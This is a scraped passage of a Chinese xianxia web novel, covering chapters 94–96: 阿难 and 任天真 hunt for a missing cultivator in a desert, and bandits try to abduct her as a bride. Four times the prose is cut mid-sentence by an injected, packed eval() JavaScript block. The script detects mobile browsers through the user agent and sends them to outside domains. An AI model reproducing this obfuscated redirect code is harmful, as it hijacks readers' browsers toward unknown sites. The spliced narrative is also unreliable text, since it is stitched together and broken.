得知黄牡丹有关于晁定武的消息后,阿难通过传讯飞符,直接把阴有苓叫来了昌城。 在码头附近的一家茶楼中,匆匆赶来的阴有苓,见到等待已久的阿难和黄牡丹。 阿难原本想让两个女人私下交谈,但是阴有苓并没有让他回避。 “你不用离开,留下来一起听吧!” 因为那本《拏云道书》,阴有苓已经不把阿难当外人了。虽然他是非我族类,在她心目中却比很多修士更像自己人。 叫住阿难后,阴有苓再扭过头看着黄牡丹,没有半句寒暄地直接发问:“你有什么消息?” 黄牡丹也不敢多说废话,把自己知道的一切全部和盘托出。 阴有苓听得神色有些异样,她以为晁定武是遭人挟持,可是他消失不久后,却被人看见在西域的沙漠中与一个妖女并肩同行,这到底是怎么回事? 从黄牡丹的叙述中,阿难留意到了一个细节,与她确认道:“和晁定武同行的那个女子,穿的是一袭红衣?” “对,鹰妖是这么说的,怎么了?” 阿难若有所思地没有回答,黄牡丹也不好多问,阴有苓则很干脆地开口送客了。 “多谢你今日告诉我的消息,以前的过节我可以不再追究,以后再被我发现你祸害良民,定严惩不贷。” 如愿以偿的黄牡丹也不想多作逗留,马不停蹄地走了。 她从茶楼的雅间离开后,阴有苓就直言不讳地对阿难道:“有些事我要告诉你,想听一听你的看法。” . 阴有苓想要告诉阿难的事,就是晁定武“逃婚”后留给她的那封信,以及她看出来的信件内容存疑。 “那封信我一看就知道不对劲,一定是别人逼师兄写的,他不能明说,只能暗中提示。只是我想不通,师兄并非什么大人物,只是一个没落宗门的弟子,到底是谁要抓走他,还选在成亲当天设计一个抛弃师妹、叛出师门的假象,这样抹黑他到底是图什么呢?” 这番疑惑阴有苓曾经跟厉无情说过,他当时也深感不解,但是阿难就不一样了。 “设计晁定武为了一位妖女逃婚,除了能抹黑他之外,更能伤害你。你有没有想过,在这件事中,作为婚礼当天惨遭抛弃的新娘,你成了很可怜很不幸的弃妇——恐怕对方图的就是这个。” 阴有苓一怔,“你的意思是,设计这一切的幕后黑手,之所以要抓走师兄,目的是为了伤害我?” “是啊,如果不是晁定武的那封书信暗中提示你,他其实是身不由己,你真信了他是因为别的女人抛弃你,还在婚礼当天让你当众沦为弃妇,如此巨大的精神打击,就算你再坚强也很难扛得住。除非你完全不在乎晁定武这个人,才能做到无所谓。” 阴有苓试想一下还真是这样,如果遭遇了亲密之人的背叛,那种精神方面的重创,有时也能彻底打垮一个人。 “照这么说来,那个人抓走师兄其实是为了对付我?谁会这么做啊?难道是我之前降妖伏魔惹下了仇家?可是一般的妖邪根本不敢主动招惹修真门派的人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222755|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而厉害的妖邪完全可以直接出手杀人,没必要用这种弯弯绕绕的手段吧?” “确实没必要,可偏偏这么做了,就说明对方有一定要这么做的理由。很显然,设计这一切的人,就是想让你因为晁定武的无情抛弃,陷入痛苦中无法自拔。” 阴有苓又惊又怒又不解,想不通到底是谁想让她和晁定武有情人难成眷属。 “谁会这么做?为什么一定要用这种阴毒手段,把师兄抹黑成无情无义的负心汉,让我痛苦呢?” . 阿难已经想到了一个有理由这么做的人——朱颜悔,他高度怀疑晁定武的消失与她有关。 那晚在禹杭城的邹府中,阿难曾经亲眼见识过,朱颜悔是怎么对邹氏夫妇下手的,也不难总结出她在这方面的行为模式。 那些抵挡不住色/诱的负心男子们,固然是活不成了。 那些遭到爱人背叛的无辜女子也同样死定了——要么因为痛苦与绝望选择自尽,要么由朱颜悔亲手送她们上路。 除了男子的精元可以被她全部吸干外,女子死后的怨气难消,也可以被她收集起来派上用场。 阴有苓和晁定武,正好符合朱颜悔挑选猎物的条件。 她极有可能用美色引诱过晁定武却没有成功,而这种失败只会令她更加心生怨怼: 凭什么我就遇不上这样情深不移的郎君?凭什么这个阴有苓可以如此幸运?哼!如果我不行,那谁也别想行。 所以晁定武在婚礼当天“逃婚”了,阴有苓从幸福的新娘沦为“惨遭抛弃”的弃妇。 她当然不会因此自杀,而朱颜悔显然也没有要杀她的意思。 之所以利用一个子虚乌有的“妖女”,来撇清自己与此事的干系,阿难猜测朱颜悔应该是不想因此惹上华源真君越君朴。 无极宗虽然已经沦落了,但好歹还有这位仙官的金字招牌在。 越君朴等闲不会插手人间事务,不过如果四大恶煞之一的魅鬼公然在修真门派作恶,无极宗只要烧上几炷信香,他下凡捉鬼除祟也属份内之事。 所以朱颜悔只是暗中抓走了晁定武,在阴有苓沦为“弃妇”却无意寻死的情况下,也没有直接出手要了她的命。 当然,或许她觉得让她作为一个弃妇活着,是一种比死更难受的事。 有时候钝刀子杀人,要比一刀致命能够造成更漫长、更难熬的痛苦。 这些都只是阿难个人的怀疑,没有证据能够证明什么。 如果贸然告诉阴有苓,她肯定要去找朱颜悔不可,而这位魅鬼可是一个十分危险的人物。 如无必要,他还不想让两个女人直面交锋。 况且现在没有任何证据可以证明朱颜悔与此事有关,她会承认才怪呢?那样只会白白打草惊蛇。 阿难暗中决定:不如我先去西凉城外走一趟,查探一下那边的情况再说。 西凉距离江南一带路途遥远,如果朱颜悔只想杀了晁定武,根本没必要带他跑那么远。 既然费时费力带着人去了那边,就一定有她的用意所在。 ——第二卷终 94.绿洲 西凉城外,瀚海沙漠。 夕阳已经沉入了地平线,浩瀚无垠的万顷沙海中,暮色越来越浓。一列长长的骆驼商队,还在艰难地跋涉前行,清脆的驼铃一声声随风飘扬。 这支倒霉的商队白天经历了一场沙尘暴,不但损失了不少货物,更要命的是饮用水已经所剩无几。 他们需要尽快抵达下一个绿洲,否则就会有性命之虞。 “快看,前面就是绿洲了。” 暮色即将浓成夜色的时候,无边无际的黄沙中,突然遥遥可见一抹醒目的绿色。 商队的人都激动得欢呼起来,负责带路的当地向导,一张晒得黝黑发亮的面孔上却露出几分疑惑。 “不对,下一个绿洲明明还有很远,该不会是海市蜃楼吧?” 商队的首领也是经验丰富之人,他定睛一看道:“不像是海市蜃楼,反正离得不远,先过去看看再说吧。” 商队朝着绿洲出发,走近后发现那果真是一个绿洲。 一片苍翠的树丛环绕着一泓清澈的泉水,宛如一颗绿宝石点缀在万里黄沙中。 “太好了,真的是绿洲,可以喝水喝到饱了。” 整支商队的人,都加快脚步冲向绿洲,想要尽情地痛饮泉水。 星辰开始如宝石般一颗颗在夜空中闪烁时,神秘出现的绿洲又神秘消失了。 整个商队也随之消失了,无论是人还是驮货的骆驼,全都不见踪影。沙漠中除了呼啸而过的狂风,再没有其他声音的存在。 . 从江南到西凉有数千里路程,如果像普通人那样乘坐马车,一路跋山涉水前往,至少要走上几个月。 已经是仙鲤的阿难法力提升了不少,可以驱动更高级的符术,比如飞鸟符与化羽术。 飞鸟符是一块由仙木雕成的鸟形神符,配合化羽术使用,能够变成一只活生生的大鸟飞起来。 想去哪里只要坐在鸟背上发号施令,哪怕千万里之遥,也花不了多少时间。 飞鸟符是云间仙境常用的交通工具,主要服务范围是各殿的小仙官们。 作为主神的大仙官们,有的会养仙禽走兽充当座骑,譬如太玄真君陆衢和太清元君温且惠;有的会修上一艘气派非凡的云海神舟,譬如紫衡帝君英昊。 阿难上回潜入云间仙境在华源殿躲了一宿,临走前并没有顺走什么《拏云道书》,而是摸了一块仙家独有的灵玉飞鸟符。 化羽术就装在他脑子里,飞鸟符却是缺货的东西,只有在天界才有机会补货。 《拏云道书》是他默写出来的,借着这趟天界之行的名义,才能顺理成章地送给阴有苓。 超级实用的飞鸟符这次就派上了用场。从江南到西凉,几千里山迢水长的路途,阿难坐在鸟背上打个盹的功夫就到了。 在西凉城找家客栈落脚后,阿难摸了摸自己囊中所剩无几的碎银,又出门摆摊干起了代写书信的老营生。 . 和以往一样,阿难把书信摊摆在热闹的集市旁。 一支满载货物即将出发前往西域诸国的商队中,有两个人过来找他写封书信寄回家。 家书基本上都是报平安,没有谁会在信里写坏消息。不过这两个人的私下交谈,就没有这种顾忌了。 那个二十出头的年轻男子,问了另一位年纪更长的同伴一个问题。 “听说瀚海沙漠中,有时候会有整支商队神秘失踪,而且找不到任何痕迹或遗骸。” “嗯,在沙漠中如果遇上沙尘暴,就会出现这种结果,无论人与物都会被卷走并掩埋。” “什么是沙尘暴啊?” “沙尘暴就是狂风席卷着黄沙,像堵风沙墙一样快速移动,铺天盖地,无处可逃,只要遇上了那可就要惨了。” “这么可怕,那为什么还是有那么多商队要走这条路呢?” “因为能赚大钱啊!你是不知道,商队运往西域诸国贩卖的丝绸,转手能赚数倍甚至数十倍。在最遥远的拂菻国,丝绸甚至与黄金同价。” “能卖这么高的价钱,那只要成功穿过了沙漠,这一趟就很值了。” “是啊,出门做生意哪有不要冒险的。就算不走沙漠,在江淮一带做丝绸买卖,靠水路运输货物,也同样难保不遇上翻船的情况。是吧?” “这倒也是。” “咱们掌柜的都是花重金请最有经验的向导,在这条路上走了好几年都没出过什么大问题。你就放心吧!” 年轻人明显安心多了,“那就好,那我就放心了。” 阿难一心二用,手里写着大同小异报平安的家书,耳朵竖着谛听二人的交谈内容。 一种说不清道不明的直觉告诉他,瀚海沙漠里常有的整支商队神秘失踪,原因恐怕没那么简单。 如果是沙尘暴把整支商队连人带货全部卷走了,风暴平息后,怎么都会有一些散乱的尸骸或货物在沙漠中出现,不可能一点痕迹都没有。 除非瀚海沙漠像大海一样,能让所有一切都沉没于海底。 . 集市附近有一座神庙,供奉着庇佑本土百姓的仙官——武佑真君卫靖。 商队正式出发前,按照惯例都会先去武佑庙上香祈褔,无比虔诚地跪求这位武神保佑他们此行平安顺利。 五六百年前,尚未飞升的卫靖,就是西凉城外玉门关的守将。 那时还是大荣王朝的年代,关外匈奴屡屡来犯。卫靖驻守玉门关十二年,抵御过无数次的匈奴铁骑,唯一的儿子也死在匈奴人手里。 最后一次的守关之战中,匈奴铁骑足有数万之众。 卫靖毫无惧色,率领部下死守不退、血战到底。援军赶到时,他已经身中数箭唯余一息尚存。 只剩最后一口气的卫靖却没有死,而是在一阵电闪雷鸣中飞升成仙,成了位列仙班的武佑真君。 在西凉城,卫靖是本土神仙中香火最盛的一位,没有之一。 所有通过西凉前往西域做买卖的商队,都会特意去拜一拜这位仙官,香烛供品全部挑最好的以礼神君, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14252574|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半点都不敢怠慢。 云间仙境的仙官们,地位高不高,就取决于香火旺不旺。 虽然是一位香火很旺的仙官,但卫靖为人处世却相当低调,低调得在天界都没什么存在感。 阿难就想了很久:武佑真君长啥样来着?我怎么想不起来呢? 在云间仙境,除非是什么重要日子,紫衡帝君会召集所有仙官共聚一堂,或宴饮同欢;或商议要事。其他时间大家都是各忙各的,很少扎堆抱团。 武佑真君卫靖,估计只在每年除夕宴饮同欢的场合里露过面。 而且是混杂在满殿熙熙攘攘的仙官中,从头到尾基本不出声,几乎把自己的存在感降到了零。 阿难怎么想都想不起来,收摊后就顺便去神庙瞅了一眼。 神庙里那尊浓墨重彩的神像,是一位头戴金盔、身披金甲、相貌威猛、气势十足的武神大将。 阿难有些奇怪:好一位威风凛凛的金甲将军,只是我印象中怎么没有见过这位武神呢? 就算是武佑真君卫靖再低调,如此气势威猛的将军,只要在宴席中露了面,他也不可能会留不下丝毫印象吧? 那就只能是神像跟神仙本尊相去甚远。 一般来说,神像跟神仙本尊都是有区别的。但是能让阿难完全没有印象见过本尊的神像,还是破头荒地头一遭。 . 阿难在西凉城呆了两天,打听了一下当地近年来是否出现过什么邪祟,得到的反馈是没有。 在武佑真君卫靖坐镇西凉的几百年里,除了瀚海沙漠中常见的沙尘暴会造成人员伤亡,没有什么妖魔鬼怪在此兴风作浪害人性命。 这样一个看似风平浪静的地方,为什么朱颜悔要不远千里把晁定武带过来呢?还有沙漠中那些消失得无影无踪的商队,又到底是怎么一回事? 黄昏时分,阿难独自立于西凉城北门的城楼楼顶,俯瞰着城外一望无垠的瀚海沙漠。 黄沙万里风漫漫,被强风塑成的沙丘或大或小、绵延不绝,在落日的余晖中铺展成一道道优美的曲线,宛如凝固的金色海浪,有一种壮阔又苍凉的美感。 呼啸而来的狂风中,忽然多了一缕似有若无的清馥香气。 阿难不用回头,就能闻香识美人——这种香远益清的芬芳气息,只属于任天真。 “真真姑娘,你怎么来了?” 任天真翩然飘落于屋脊之上,虽然是远道而来,却没有半点风尘仆仆的样子。 一袭粉霞似的罗裙,衬得她宛如照水芙蓉、凌波菡萏,一尘不染,清丽绝伦。 “阿难哥哥,我不能白吃你的灵丹啊!所以特意过来搭把手,有什么我能帮得上忙的你只管吩咐。” 任天真收到阿难的传讯飞符后,耽误了几天才来到昌城。那时他已经出发前往西凉,把那枚七转仙灵丹交给阴有苓代为转交。 得知阿难居然给自己留下这么一个宝贝,人还跑去了西凉城帮阴有苓寻找晁定武的下落,任天真不假思索地也赶往这座边疆城郭。 95.劫匪 以任天真那个率真爽朗的性子,也不会矫情地说上一堆“这怎么好意思啊真是太感谢了”之类的话。 她就很干脆地直接认了这份天大的人情,再用行动来表达感激之情。 明光含笑问道:“你不是在忙着帮华源真君找人吗?” “那个不着急,可以缓缓再说,你和阴姐姐这边的事更重要。” 虽然心仪上仙几百年,愿意无条件地帮他办事,但是任天真分得清孰重孰轻。 华源真君越君朴要找的小妖,早一点或晚一点找到都没关系。 而失踪经年的晁定武终于有了线索,阿难已经热心肠地赶过去帮忙找人了,那这座西凉城她也必须要抽空先走一趟。 谈起晁定武的事,任天真满脸义愤填膺的神色哼了一声。 “如果真像阴姐姐说的那样,晁定武其实并没有负心,而是被一个妖女抓走了,那这个妖女未免太可恨了!为什么就这么见不得别人好呢?” 阿难苦笑了一下,叹息道:“因为有时候别人过得好,就会显得自己过得差,就会心生不甘地想把别人拉下马,让他们过得跟自己一样差,甚至是更差。” 任天真双眉紧蹙,给出一个言简意赅的评价——“这种人真是有病。” . 三天之后,阿难和任天真以任姓兄妹的名义,跟着一支商队离开了西凉城。 这支商队规模不小,足有上百头骆驼负责驮货。他们要运送一批茶叶与瓷器前往大宛国,穿过沙漠后,最先抵达的是楼兰国。 阿难声称自己要和妹妹去楼兰国寻亲,希望能跟商队一路同行好有个照应,也愿意为此支付费用。 商队的那位周首领一开始不答应,觉得带上两个没有沙漠行走经验的人太麻烦。 不过,见到清艳如莲花出水的任天真后,他的口风就马上变了。 “行吧,你们兄妹俩单独穿越沙漠确实不安全,就跟我们一起走吧。” “多谢周大哥,周大哥你人真好。” 任天真冲着周首领盈盈一拜,笑容无邪,声音柔糯,满脸都是韶龄少女不谙世事的天真单纯。背着旁人,她却是了然于心地跟阿难私下嘀咕。 “这个周首领会改变主意答应捎上咱俩,估计没安好心呢!” 阿难又何尝看不出来,微微一笑道:“他恐怕是见色起意了!” “见色起意后,若是没安好心,进了沙漠把哥哥杀死抛尸荒野,剩下妹妹一个弱女子就只能任他摆布了。” “还好我不是他能杀得了的哥哥,你也不是他能摆布得了的妹妹。” 任天真嗤笑道:“没错,他如果只在脑子里转歪念头也就罢了,要是敢动真格的,姑奶奶可没他好果子吃。” . 广袤无垠的沙漠中,除了无穷无尽的蓝天,就是无边无际的黄沙,共同构成一幅对比鲜明的图画。 金黄的沙丘上,长长的一排骆驼正满载着人与货缓缓前行。 骆驼走过的地方,驼蹄留下的脚印用不了多久就会消失。因为看似静止的沙粒其实在缓缓流动,悄无声息地抹去一切痕迹。 和所有人一样,阿难与任天真都用布把自己从头到脚裹起来,唯有这样才能抵抗风沙与烈日的侵袭。 “这种鬼地方,以后打死我都不来了。还是江南好,日出江花红胜火,春来江水绿如蓝。哪像这里黄沙遍野,烈日当空,真是晒死人啊!” 沙漠的自然环境十分恶劣,白天太阳像火球一样炙烤着大地,到了夜晚,温度却又降为可以冻死人的酷寒。 为了避开烈日的高温,穿越沙漠一般都是夜行晓宿,最炎热的正午前后一定要找地方扎营休息。 如果找不到合适的地方露宿,人们就只能偎着骆驼睡在沙子上。这可不是什么好的体验,因为骆驼浑身散发着刺鼻的骚味。 “真真,要不你回西凉城等我吧!如果我有什么发现,再发传讯飞符让你赶过来。” “那不行,说好了一起来沙漠找线索,我才不会半途而废呢!” 虽然很不适应沙漠恶劣的自然环境,但是任天真并没有打退堂鼓的意思。她和阿难同乘一头骆驼,两个人一边走一边窃窃私语。 “阿难哥哥,天大地大,可以去的地方那么多,为什么那个妖女非要带着晁定武跑来瀚海沙漠呢?难不成她是沙漠里的妖怪?” “其实,我怀疑带走晁定武的不是什么妖女,而是鬼姝。” 鬼姝——这个词让任天真很容易对号入座,毕竟无间鬼域那边厉害的牛鬼中,只有一个魅鬼是女流之辈。 “你的意思是朱颜悔抓走了晁定武?这个魅鬼听说是靠吸食男子精元来修炼的。她如果想杀他,犯得着把人带来沙漠再动手吗?在哪儿把人吸成人干不是吸啊!难道在沙漠里吸起来会味道更好不成?” “确实犯不着,所以她这么做一定另有缘故。而这个缘故一定是跟瀚海沙漠有关,就看我们能不能找出来了。” 跟商队同行,就是阿难试图找出缘故的选择。 瀚海沙漠时常会有整支商队神秘失踪的情况,让他感觉其中必有蹊跷,这一蹊跷之处是否就跟朱颜悔有关呢? 阿难大致解释了一番自己怀疑朱颜悔的原因后,任天真无比气愤地瞪圆了一双妙目。 “这个女鬼真是有毛病!如果你的猜测属实,我一定要帮阴姐姐收了她不可。” . 在沙漠中跋涉数日后,这一夜,疲倦不堪的商队,在一个废弃的荒村停下来休息。 这种荒村曾经是有水源的地方,自然就有人在此居住。 后来水源干涸了,无法生存的居民们只能迁走,唯余一片已经变成断壁残垣的废墟。 虽然是废墟,但有残留的墙壁可以挡风,比睡在骚气烘烘的骆驼旁边要舒服多了。 随便挑了一堵墙,阿难和任天真裹着毛毯靠着墙壁休息。 也不知睡了多久,他们突然同时睁开眼睛,二人都敏锐地察觉到,有一阵驼蹄飞奔的声音在靠近。 “阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14267898|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难哥哥,你觉得那些是什么人?” “看这架势可不像是好人,十有八九是劫匪。” 山有山匪,水有水匪,沙漠中自然也少不了抢劫的匪徒,干的都是抢劫过路人财物的勾当。 阿难说得没错,来者正是一队手持大刀的劫匪,大概有二三十号人,全是清一色高大强壮的男子。 商队这边的三四十人中,只有一半是负责护卫的刀客,如果对上的强盗个个精悍,也就没有必胜的把握。 穿越沙漠前往遥远的西域诸国做生意,除了恶劣的自然环境外,遇上劫道的路匪,也是风险之一。 周首领对此做了准备工作,毕竟他常年跑这条路线,可谓是见多识广。 在商队的人数实力与劫匪不相上下时,双方可以通过谈判来解决问题。 他操着一口熟练的当地语言跟劫匪头目交涉,表示愿意送十匹满载货物的骆驼给他们,算是交个过路费,没必要血斗一场。 一般的强盗只为求财,多半都会答应这样的条件。 但是也有极少数穷凶极恶的强盗,一定要抢掠一空,连水袋都不肯放过,再把人丢在沙漠里自生自灭。 劫匪头目嫌十匹骆驼太少了,要求最少给一半。那样周首领的损失就有点大,他决定给出另一样东西。 “我们商队有美女同行,我可以把美女献给你。” 这句话听得劫匪头目眼睛一亮。 他们在沙漠抢劫商队一般只能掠夺财物,毕竟西行经商是桩苦差事,从来没有带上女人同行的。 周首领原本也不想带的,不过任天真令人惊艳的美貌,让他不由自主地打起了小算盘: ——这么美的女人也是一件好货物呢!如此上等的姿色,带去西域诸国不愁卖不出好价钱。 . 周首领和劫匪头目用当地语言交谈,并肩坐在不远处的阿难和任天真,自然是都听不懂的。 不过见他谈着谈着,突然伸手朝他们所在的方向指过来,大概也能猜出是怎么一回事。 任天真好气又好笑地撇了一下唇角,“这个姓周的,看来是打算把我交出去消灾避祸呢。” “劫匪除了劫财,一般也喜欢劫色。真真你这等姿色,劫匪见了一定很高兴,周首领自然要献上你保平安。” “太岁头上动土,他还想保平安,哼,看我怎么收拾他。还有这帮劫匪都等着挨锤吧!姑奶奶会雨露均沾,一个也不放过。” “真真,雨露均沾可不是这么用的。” 笑着纠正了一下任天真的用词不当后,阿难又提醒她道:“你先别急着动手,仔细瞅瞅看,这帮劫匪是不是有些异样?” 任天真定睛一看,神色讶异地道:“还真是,你不说我都没有注意到,他们这些人的印堂处,看上去都有隐约的黑气。” 印堂发黑,往往意味着这人招惹什么邪祟之物,只是自己却浑然不知。 而这帮二三十人的蒙面劫匪,每个人的眉心印堂处,都有隐约的黑气缭绕。 96.扮猪吃老虎 明光强调道:“真真,这么多人一起撞了邪,只有一种可能。” “嗯,这帮劫匪扎营的地方一定有问题,十有八九是阴邪之地。” “所以,请你配合一下被抢,看他们会把你掳去哪儿。” 任天真懂了,他们这趟沙漠之行就是想找到一个地方——一个能让魅鬼朱颜悔特意把晁定武千里迢迢带来处置的地方。 而劫匪们所在的阴邪之地,极有可能就是目的地。 “非要配合被抢吗?我可以直接打到他们老实交代的。” 身为实力超群的大妖,外表娇花嫩蕊的任天真,向来走“不服就打、打服为止”的猛人路线,扮猪吃老虎并不是她的风格。 “恐怕不行。” 沙漠劫匪的来源,一般都是居住在沙漠绿洲中的游牧民族。 他们一惯有着劫掠的传统,还十分推崇铁骨硬汉的勇士,懦弱者会被逐出族群。 如果任天真搞暴力逼供那一套,这些劫匪绝不会轻易认输求饶。否则就不是勇士是懦夫,那样对他们来说是宁死也不能接受的奇耻大辱。 阿难之前在西凉城打听到了这些消息,此刻简明扼要地对任天真解释了一番。 “真真,配合被劫匪抢回家是最省时省事的法子。要不你先委屈一下,回头再雨露均沾,挨个锤人出气如何?” 任天真歪着头嫣然一笑,饶有兴致地道:“好吧,我还没被人抢过呢,那就体验一下吧。你打算怎么办?” “我当然也得配合表演,至于怎么演,就看戏接下来怎么唱。劫匪头目已经过来了,准备一下,咱俩该粉墨登场了。” 阿难和任天真藏身的半堵断墙外,劫匪头目正带着两个手下大步流星地走过来,三双眼睛里都闪烁着豺狼看见猎物的光芒。 只是他们并不知道,这一次,他们的猎物其实是扮猪吃老虎的高明猎手——而且还是人间凡界的普通人根本无法战胜的对象。 . 粉墨登场的任天真,在三个劫匪走到断墙边时,不躲不藏地直接站了起来。 虽然身上裹着一层厚厚的毛毯,但她的身姿依然是那么袅娜娉婷。 被沙漠风沙吹乱了的长发在身后黑蝴蝶般飞舞不休,一张脂粉不施的清丽面孔莹如玉色,整个人就像一朵月光下的白莲,美得令人无法不为之惊艳。 所谓粗服乱头不掩国色,就莫过如此了。 劫匪头目大喜过望,激动得叽哩呱啦说了一堆让人听不懂的话,应该是在感叹美人的美貌。 周首领很狗腿地跑过来充当翻译。 “任姑娘,这位是沙漠一个部落的大王,他说你是他生平仅见的绝色美人,想娶你为王妃,这可真是天大的福气啊!” 周首领一番话还真会粉饰太平,任天真似笑非笑地瞥了他一眼。 “是吗?可我不想当王妃,你能帮我拒绝吗?” “不行,这些沙漠部落的人不接受拒绝。被他们看中的女人如果不答应,就是直接抢回去。那样你会吃上不小的苦头,不如直接顺从为妙。” 劫匪头领常年抢劫中原商队,也会说一些汉话。听出了任天真的不情愿,他操着一口十分生硬的汉话开了口。 “你是我的了,必须跟我走。” “我要是不答应呢?你就杀了我吗?” “我不杀你,杀你哥哥。” 劫匪头目举起手里的大刀,恐吓十足地指着一旁貌似已经被吓呆的阿难,他很配合地哆嗦了一下,总之戏唱到哪一出他就演一出。 “任公子,赶紧劝劝你妹妹吧,不然你就得遭殃了。” 按照周首领给出的戏码,阿难驾轻就熟地扮演起了一个怂包的角色,拉着任天真开始苦苦劝说。 “真真,我不想死啊!既然能当王妃,要不你就从了这位大王吧!你看大王他高大威猛,英俊潇洒,一看就是人中龙凤。嫁一位这样的夫君你是绝对不会吃亏的,以后一定可以跟着他享福了。” 任天真听得都想笑,给了阿难一个“想不到你睁眼说瞎话很有一套呢”的眼神。 因为劫匪头目横看竖看都和人中龙凤没有一点关系,不过就是一个凶狠的强盗,满脸杂草般茂盛的胡子跟头发打成一片,看上去跟野人有一拼。 周首领觉得这个任公子很上道,添油加醋地把这番话翻译给满脸似懂非懂的劫匪头目,听得他心花怒放,指着阿难大加褒奖。 “你,好,很好。” 阿难趁机跟劫匪头目攀起了交情,笑容满面地道:“大王,我妹妹既然要嫁给你了,那我就是你大舅哥,你总不能连大舅哥都杀吧?” 劫匪头目大概听懂了这番话,下意识地点头道:“她跟我走,我不杀你。” “大王,在我们家乡,妹妹出嫁当哥哥的要送嫁。现在你要娶我妹妹,那我得负责把她送到夫家,要不我先陪着她跟你们一起回去吧?” 听明白了阿难的要求后,劫匪头目没有拒绝。 毕竟眼前这人看上去就是一个手无缚鸡之力的文弱书生,带上他不会构成任何威胁。 . 和之前一样,阿难和任天真同乘一头骆驼上路了。 只不过不再跟随周首领的商队,而是跟随劫匪一队,前往他们藏在沙漠中的大本营。 劫匪头目原本想让任天真跟自己同乘的,那样他可以搂着美人软玉温香抱满怀。 任天真当然不愿意,就莺声呖呖地撒了一个娇。 “不行啊,中原这边讲究的是男女授予不亲。在没有成亲之前,除非是青楼出身的风尘女子,否则不能随便跟男子亲近,那样是有失妇德的行为。我可是好人家的女儿,如果妇德有亏就只能以死殉节了。你应该舍不得我死吧?” 任天真一颦一笑娇无娜,看得劫匪头目连骨头都酥了,情不自禁地就点头道:“舍不得,舍不得。” 阿难也在一旁笑眯眯地帮着敲边鼓。 “是啊是啊,我们中原这边的规矩就是这样。妹夫,好饭不怕晚,你也别着急。反正今晚就是送嫁了,我把妹妹送到你家后,你们二人就直接拜堂成亲再洞房,一次性全部搞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14294714|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定不好吗?” 劫匪头目一想也是,现在只能搂搂抱抱很不过瘾,不如把美人带回去后直接上全套,就眉开眼笑地点头答应了。 . 黎明前最黑暗的时刻,劫匪头目一行人,带着十匹满载货物的骆驼和两个人回到了大本营。 那是沙漠腹地的一座断崖,崖底有一个天然的山洞,里面有水源,劫匪一族就在这里扎营。 浓稠如墨的夜色中,山洞就是一个黑黝黝的大窟窿,里头什么也看不见。 劫匪头目在洞口跳下骆驼后,就迫不及待地走向任天真,想要直接把美人抱去洞房。 任天真纤手一扬,已经准备开始揍人了。可是她还没来得及动手,有人抢先对劫匪头目发难了。 一个长着鹰钩鼻的男子,趁他不备突然从背后猛捅一刀,直接捅了一个对穿。 劫匪头目惨叫一声就断气身亡了,他的几个忠心部下纷纷提刀杀向鹰钩鼻。 但是鹰钩鼻也有人力挺,而且还为数不少,劫匪团伙因此分成两派开始厮杀起来。 眼前这出同室操戈的戏码,出乎阿难和任天真的意料。这种狗咬狗的破事他们也不想管,两个人置身事外作壁上观。 “阿难哥哥,你说那个人干吗突然暗算自家老大呢?” “这种事往往只有一个原因,那就是他想当老大了。” “当老大就这么好吗?” 任天真不能理解,阿难倒是猜出了几分。 “当老大自然是比当小弟好处更多,尤其今晚当上老大还有天大的艳福能享。真真,那个鹰钩鼻突然发难,很有可能是想要独占你这朵娇花。” “这样的话,那些什么狗屁道学家,还不得骂我红颜祸水啊!” 阿难调侃地笑道:“是啊!按照他们的这种论调,真真你绝对是祸水本水了。” 祸水本水的任天真,笑盈盈地“呸”了一声。 “关我鸟事。这帮劫匪明明自己不是东西,杀人放火无恶不作,却还想归罪于女人是祸根。本姑娘才不想背这口黑锅呢!” . 谈话间,劫匪们的相互残杀已经分出了胜负,鹰钩鼻一伙胜出,他成为新的劫匪头目。 握着滴血的大刀,鹰钩鼻高举左手说了一番慷慨激昂的话。虽然听不明白,但阿难猜他应该是在发表上任宣言之类。 说到最后时,鹰钩鼻和所有劫匪的目光都一齐看向任天真,而他高举的手用力往下一挥,为最后那句话起到强调作用。 那句话究竟是什么意思,无论阿难还是任天真都听不懂。 